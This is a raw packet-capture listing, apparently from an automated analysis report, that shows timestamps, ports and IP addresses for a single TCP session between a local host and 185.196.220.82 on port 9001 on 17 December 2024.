Dec 17, 2024 11:49:53.742361069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.742363930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.742573977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.743328094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.743371964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.743406057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.745800972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.745845079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.745910883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.746014118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.746068001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.746114016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.746865034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.746936083 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.746973038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.747411013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.747459888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.750500917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.750562906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.750612020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.750907898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.750971079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.751009941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.751732111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.751808882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.751856089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.752413034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752423048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752490044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752518892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752526999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752571106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752579927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752588034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752592087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.752600908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.754475117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.756900072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.757087946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.757129908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.757307053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.757477045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.757523060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.758099079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.758198977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.758245945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.758855104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.759799957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.761316061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.761358023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.761364937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.761651993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.761708975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.761718035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.762419939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.762429953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.762485981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.763163090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.763200998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.763241053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.764072895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.764168978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.764213085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.764974117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.765016079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.765050888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.766155005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.766201973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.766264915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.766820908 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.766870975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.766881943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.767465115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.767486095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.767520905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.768143892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.768243074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.768260956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.768667936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.768779993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.768825054 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.769490957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.769537926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.769592047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.770215034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.770323038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.770361900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.771044016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.771054983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.771105051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.772206068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.772274971 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.772279024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.772886038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.772906065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.772942066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.773399115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.773408890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.773452044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.819602966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.832946062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.832998037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.833048105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.833234072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.833384037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.833451033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.834053993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.834218025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.834259987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.834866047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.834995985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.835100889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.835609913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.835788012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.835844994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.836396933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.836487055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.836529970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.837209940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.837280989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.837342978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.837358952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.837379932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.837997913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.838052988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.838174105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.838370085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.838742018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.838793993 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.838860989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.839035988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.839567900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.839617968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.839653969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.839700937 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.839756012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.840408087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.840419054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.840461969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.840684891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.841371059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.841423035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.841424942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.841456890 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.842279911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.842338085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.842372894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.842410088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.843759060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.843770027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.843796968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.843823910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.844270945 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.844317913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.844429970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.844501019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.845252037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.845297098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.845406055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.845475912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.845793962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.845798969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.845846891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.913613081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.913625956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.913712978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.913712978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.913732052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.913762093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.913786888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.914479971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.914582968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.914585114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.914742947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.915244102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.930134058 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.930170059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.930188894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.930212021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.930612087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.930653095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.930783987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.930824995 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.931391001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.931435108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.931513071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.931551933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.932209015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.932274103 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.932605982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.932656050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.932743073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.932790995 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.933177948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.933231115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.933316946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.933373928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.933948040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.934015989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.934075117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.934148073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.934897900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.934909105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.934959888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.934984922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.935930014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.935997009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.936139107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.936192036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.936433077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.936444044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.936506987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.937144041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.937156916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.937196016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.937841892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.937902927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.937926054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.938240051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.938287973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.938313961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.938353062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.938874960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.938919067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.938981056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.939033985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.939677000 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.939793110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.939825058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.940165997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.958754063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.959670067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.960541964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.961863041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.961910009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.961961031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.962240934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.962281942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.962311983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.962327003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.962357044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.963052034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.963109016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.963139057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.963169098 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.963912964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.963965893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.964011908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.964652061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.964705944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.964726925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.964803934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.965423107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.965461969 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.965507030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.965548992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.966265917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.966324091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.966350079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.966512918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.966958046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.967004061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.967099905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.967145920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.967758894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.967807055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.967854023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.968163013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.968610048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.968662977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.968687057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.968871117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.969311953 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.969352007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.969526052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.969748974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.970123053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.970168114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.970196009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.970252037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.970905066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.970987082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.971031904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.971688032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.971704960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.971731901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.971745014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.972498894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.972516060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.972558022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.972568035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.973292112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.973325968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.973362923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.973362923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:53.974061966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:53.974365950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.025041103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.025103092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.056837082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.064769983 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.064786911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.064877033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.064877033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.065126896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.065144062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.065165043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.065188885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.065246105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.065859079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.065912962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.066035032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.066076994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.066725969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.066778898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.066968918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.067034960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.067446947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.067548037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.067591906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.067637920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.068190098 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.068264961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.068290949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.068304062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.068938017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.068983078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.069241047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.069257975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.069303989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.070009947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:54.070070028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:54.070090055 CET	9001	49784	185.196.220.82	192.168.2.6
